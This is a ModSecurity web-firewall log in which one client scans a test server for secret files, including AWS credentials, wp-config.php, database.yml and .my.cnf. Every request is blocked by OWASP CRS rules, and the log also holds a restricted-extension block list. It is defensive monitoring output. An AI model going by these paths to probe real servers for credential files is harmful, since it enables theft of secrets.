[Fri Aug 01 20:57:26.171115 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/inventory.ini&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly8wAAAAM&quot;]
[Fri Aug 01 20:57:26.171379 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/inventory.ini&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly8wAAAAM&quot;]
[Fri Aug 01 20:57:26.171520 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/inventory.ini&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly8wAAAAM&quot;]
[Fri Aug 01 20:57:26.191779 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9AAAAAM&quot;]
[Fri Aug 01 20:57:26.191956 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9AAAAAM&quot;]
[Fri Aug 01 20:57:26.192123 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9AAAAAM&quot;]
[Fri Aug 01 20:57:26.418394 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9QAAAAM&quot;]
[Fri Aug 01 20:57:26.418636 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9QAAAAM&quot;]
[Fri Aug 01 20:57:26.418826 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9QAAAAM&quot;]
[Fri Aug 01 20:57:26.462559 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9wAAAAM&quot;]
[Fri Aug 01 20:57:26.462780 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9wAAAAM&quot;]
[Fri Aug 01 20:57:26.462940 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly9wAAAAM&quot;]
[Fri Aug 01 20:57:26.504709 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly-QAAAAM&quot;]
[Fri Aug 01 20:57:26.504967 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly-QAAAAM&quot;]
[Fri Aug 01 20:57:26.505168 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly-QAAAAM&quot;]
[Fri Aug 01 20:57:26.715195 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzAwAAAAM&quot;]
[Fri Aug 01 20:57:26.715381 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzAwAAAAM&quot;]
[Fri Aug 01 20:57:26.715531 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzAwAAAAM&quot;]
[Fri Aug 01 20:57:26.735458 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzBAAAAAM&quot;]
[Fri Aug 01 20:57:26.735638 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzBAAAAAM&quot;]
[Fri Aug 01 20:57:26.735814 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzBAAAAAM&quot;]
[Fri Aug 01 20:57:26.777006 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzBgAAAAM&quot;]
[Fri Aug 01 20:57:26.777194 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzBgAAAAM&quot;]
[Fri Aug 01 20:57:26.777357 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzBgAAAAM&quot;]
[Fri Aug 01 20:57:26.819177 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzCAAAAAM&quot;]
[Fri Aug 01 20:57:26.819452 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzCAAAAAM&quot;]
[Fri Aug 01 20:57:26.819648 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzCAAAAAM&quot;]
[Fri Aug 01 20:57:26.902167 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.my.cnf&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .my.cnf found within REQUEST_FILENAME: /.my.cnf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.my.cnf&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDAAAAAM&quot;]
[Fri Aug 01 20:57:26.902365 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.my.cnf&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDAAAAAM&quot;]
[Fri Aug 01 20:57:26.902530 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.my.cnf&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDAAAAAM&quot;]
[Fri Aug 01 20:57:26.943519 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.bash_profile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_profile found within REQUEST_FILENAME: /.bash_profile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_profile&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDgAAAAM&quot;]
[Fri Aug 01 20:57:26.943714 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_profile&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDgAAAAM&quot;]
